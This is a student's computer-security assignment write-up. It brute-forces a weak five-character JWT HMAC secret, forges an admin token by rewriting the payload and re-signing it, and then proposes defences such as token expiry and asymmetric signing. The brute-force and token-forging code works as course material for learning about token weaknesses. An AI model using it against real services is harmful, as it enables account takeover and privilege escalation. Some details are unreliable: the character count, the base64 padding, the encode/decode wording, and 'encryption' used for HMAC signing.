Fundamentals of Computer Security
(CSE 345/CSE 545)
Assignment 1
Question 2

Nakul Thureja
2020528

Part A

The code for part A attached in the file.

Part B

For this question, I have used the hint given in the decoded payload of the token.
Knowing the fact that the secret is a lowercase alphanumeric of length 5 I can simply brute force it.

For brute force, I have used 5 nested loops and for each place, there are 36 possibilities, (a-z) 26 and (0-9) 10.

```
def crackSecret(JWTToken):
    SecretString = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    for i in range(0, len(SecretString)):
        for j in range(0, len(SecretString)):
            for k in range(0, len(SecretString)):
                for l in range(0, len(SecretString)):
                    for m in range(0, len(SecretString)):
                        cracked = SecretString[i] + SecretString[j] + SecretString[k] + SecretString[l] + SecretString[m]
                        try:
                            if(verifyJwt(JWTToken, cracked)):
                                return cracked
                        except:
                            continue
```

Once I get a possible password, I check it with the verifyJwt() function written in the first part.
Since verifyJwt() throws an Exception I have put this code inside a try-catch block.

Password Found: ***"p1qzy"***

```
def changetoken(JWTToken, Secret):
    (Header,Payload,Signature) = breakJWT(JWTToken)

    PaddedPayload = Payload + '='*(-len(Payload)%3)
    DecodedPayload = (b64d(PaddedPayload)).decode()
    EditPayload = DecodedPayload.replace("user", "admin" )
    NewPayload = b64e(EditPayload.encode()).decode().strip('=')

    NewMessage = Header + '.' + NewPayload
    NewMessageEncode = NewMessage.encode()
    SecretEncode = Secret.encode()
    NewSignature = hmac.new(SecretEncode, NewMessageEncode, hashlib.sha256).digest()
    NewSignatureEncode = b64e(NewSignature)
    NewSignatureDecode = NewSignatureEncode.decode().strip('=')
    return (NewMessage + '.' + NewSignatureDecode)
```

To change the role I first decoded the payload using the urlsafe_b64decode (present in the base64 lib) and then replaced the "user" with "admin" using the string replace function.
Then I decoded it back using urlsafe_b64encode.
To create the new token then I used the fact that New Message will be the Header + "." + New Payload which will further be hashed with the password brute-forced using the hmac library with sha256 hashing algorithm to generate the signature.
Finally, I return the newly generated token with an edited payload.

Part C

Modifications Proposed to the Authentication Architecture:

1. Regular expiry of tokens.
   The tokens generated with JWT should periodically be updated and generated. Even if an attacker gets access to the token he/she will be not able to affect damage for a longer period of time and the damage will be limited. Even though this technique will not provide complete security it will limit the damage to some extent.

2. Changing the Encryption Algorithm
   We can change the encryption algorithm to Asymmetric to provide better security, algorithms like RS256 or RS512 which use asymmetric keys and are inherently tougher to break.

3. Monitoring Client Behaviour
   Monitoring client behavior can also help to block access to accounts which are being attacked. If a client sends arround 10 requests per minute and suddenly sending 50 requests per minute the account can be stripped of its access. Similarly sophisticated machine learning can be used to predict unnatural behaviour.

It cannot be emphasized enough how important the private key is to JWT's ability to maintain complete privacy. The worst case is losing the private key or secret.

To make the architecture more secure we can pair it with multi-factor authentication and not give complete access using the JWT Token itself. The token should only be used for authorization rather than authentication. Also as mentioned on jwt.io the token should not contain sensitive information like passwords as they can be easily decrypted.